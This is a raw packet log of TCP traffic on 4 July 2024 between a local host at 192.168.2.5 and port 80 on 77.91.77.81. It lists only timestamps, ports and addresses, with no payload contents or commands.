Jul 4, 2024 22:20:38.276900053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.276911974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.276921988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277080059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277081013 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277103901 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277116060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277127028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277137041 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277148008 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277148008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277159929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277163029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277199984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277216911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277251005 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277272940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277311087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277329922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277339935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277374029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277388096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277415037 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277427912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277538061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277548075 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277553082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277563095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277574062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277585983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277611971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277729034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277748108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277757883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277769089 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277792931 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277928114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277945995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277955055 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.277966022 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.277992010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278074026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278090000 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278100014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278105974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278119087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278147936 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278289080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278301001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278310061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278321028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278332949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278336048 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278345108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278345108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278373957 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278410912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278429985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278469086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278523922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278534889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278544903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278556108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278558969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278567076 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278568029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278579950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278589010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278594017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278614044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278642893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278840065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278858900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278873920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278882027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278887033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278898954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278906107 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278911114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278922081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278922081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278934956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.278948069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.278969049 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279150009 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279161930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279170990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279191971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279211998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279301882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279314995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279325008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279335022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279341936 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279345989 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279357910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279367924 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279369116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279381990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279392004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279397964 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279403925 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279406071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279417038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.279434919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.279462099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.313971043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.313991070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314002991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314049006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314069986 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314160109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314172029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314182043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314192057 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314203024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314230919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314419031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314429998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314460993 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314477921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314481974 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314490080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314501047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314511061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314516068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314523935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314524889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314538002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314558983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314568996 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314579010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314579964 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314604998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314627886 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314697027 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314707994 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314718008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314738989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314758062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314860106 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314871073 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314881086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314893007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314903975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314908028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314915895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.314929008 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314940929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.314969063 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.315087080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.315130949 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.315161943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.315201044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353609085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353682041 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353693962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353722095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353729010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353740931 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353766918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353779078 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353873014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353883982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353893995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353905916 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.353918076 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.353943110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354017019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354028940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354038954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354049921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354059935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354072094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354100943 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354160070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354171991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354198933 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354212046 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354224920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354239941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354263067 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354271889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354325056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354336977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354363918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354393005 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354406118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354417086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354427099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354437113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.354443073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354451895 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.354475975 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372447014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372468948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372487068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372500896 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372514009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372539043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372559071 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372592926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372598886 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372607946 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372620106 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372627974 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372643948 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372672081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372688055 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372726917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372781992 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372816086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372821093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372828007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372852087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372862101 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372886896 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372901917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372930050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372939110 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372946024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372958899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.372983932 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.372993946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373039007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373053074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373065948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373080015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373094082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373172998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373191118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373212099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373235941 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373241901 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373254061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373279095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373295069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373315096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373326063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373353004 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373364925 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373385906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373399019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373409986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373421907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373424053 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373435974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373436928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373454094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373481035 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373610020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373622894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373647928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373660088 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373676062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373688936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373712063 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373723984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373799086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373811960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373823881 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373836040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373838902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373847961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373848915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.373868942 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.373893976 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374002934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374017000 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374031067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374042034 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374043941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374063015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374073029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374170065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374181986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374193907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374205112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374211073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374217987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374231100 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374233961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374258995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374269962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374404907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374418020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374429941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374445915 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374459028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374475002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374634981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374646902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374660969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374669075 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374674082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374680042 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374687910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374701023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374701023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374716997 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374716997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374732018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374735117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374744892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374747038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374758005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374763966 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374792099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.374984026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.374996901 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.375010967 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.375022888 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.375025988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.375050068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.375072956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.403779984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.403830051 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.403996944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404007912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404019117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404028893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404040098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404051065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404052019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404063940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404072046 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404092073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404104948 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404198885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404208899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404218912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404230118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404239893 CEST	49711	80	192.168.2.5	77.91.77.81
